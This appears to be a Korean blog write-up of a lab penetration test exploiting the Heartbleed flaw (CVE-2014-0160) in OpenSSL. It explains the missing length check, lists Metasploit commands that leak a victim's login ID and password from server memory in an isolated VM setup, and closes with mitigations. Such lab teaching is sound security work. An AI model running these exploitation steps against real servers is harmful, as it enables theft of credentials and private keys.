Heartbleed 취약점 CVE-2014-0160
Heartbeat 기능을 사용하는 과정에서 발생한 취약점
OpenSSL 라이브러리의 TLS/DTLS Heartbeat 확장 규격에서 발생하는 입력 데이터 길이 검증 미흡 취약점
공격자가 서버의 메모리로부터 데이터를 반복적으로 탈취할 수 있고 이 과정에서 사용자의 세션 로그인 상태면 로그인이 유지된 사용자의 세션 정보, ID/PW, 심지어 서버의 개인키까지 유출 가능
Heartbleed 취약점의 동작 원리
- 정상적인 요청
- 클라이언트가 5글자(블로터딧넷) 보낼 테니 반환해 라고 요청하면 서버는 메모리에서 5글자를 읽어 응답
- 하트블리드 공격 클라이언트가 데이터는 2글자만 보내고 길이는 64,000글자라고 거짓말을 함
- 모자 라고 500글자로 대답해봐
- Heartbleed 취약점 발생
- 서버는 실제 데이터 길이를 검증하지 않고, 요청받은 64,000바이트를 채우기 위해 메모리에 남아있던 다른 데이터까지 모두 긁어서 클라이언트에게 전송

모의해킹 진행
[구동 환경]
- 모의해킹의 전 과정은 격리된 가상 환경에서 진행 했습니다.
- 모든 모의해킹 과정은 사용자의 100% 통제 하에 진행 했습니다.
| 분류 | OS | IP | 비고 |
| 곻격자 | Kali-Linux | 10.0.2.4 | 공격자 서버 |
| 희생자 | Ubuntu-Linux | 10.0.2.5 | 희생자 서버 |
| 타켓 Docker 컨테이너 | Ubuntu-Linux | 10.0.2.5 | bWAPP docker 컨테이너 |
[네트워크 통신 확인]


각 VM에 IP의 할당이 정상인지 확인하고 Kali가 Ubuntu랑 정상적으로 통신중인지 체크한다
[공격 시작]
하트블리드 공격을 위해서 Kali -Linux 환경에서 msfconsole을 실행해준다
sudo msfconsole
하트블리드 관련 취약모듈을 찾고 해당 IP와 포트를 설정 후 공격을 시작 한다

search heartbleed
use 1
setRHOST 10.0.2.5
setRPORT 8443
exploit
exploit의 설정값을 true로 변경 후 상세 내역을 확인한다
set verbose true

방금 시도한 로그인의 ID/PW 정보가 Heartbleed 취약점을 통해서 유출된 것을 확인 할 수 있다.
Heartbleed 취약점의 대응 방안
Heartbleed 취약점이 발생하는 가장 큰 이유는 Boundary Check를 하지 않기에 발생한다
서버가 클라이언트의 길이를 속이는 요청에 체크를 하지 않고 그대로 응답하다가 내부 세션데이터가 그대로 끌려 나가기 때문이다
- OpenSSL 업데이트
- 가장 보편적인 방법으로 취약점이 해결된 최신 버전으로 업데이트 해서 사용한다
- (1.0.1g)
- 가장 보편적인 방법으로 취약점이 해결된 최신 버전으로 업데이트 해서 사용한다
- Compile 옵션 업데이트
- Heartbleed 취약점은 Heartbeat의 기능에서 파생된 취약점이다 해당 취약점을 막고 싶으면 Heartbeat 기능 자체를 종료시키는 -DOPENSSL_NO_HEARTBEATS 옵션을 적용 하면 된다.
- 인증서 재발급
- 해당 취약점에 노출되었다면 SSL 인증서의 폐기 후 재발급 과정이 필수불가결이다.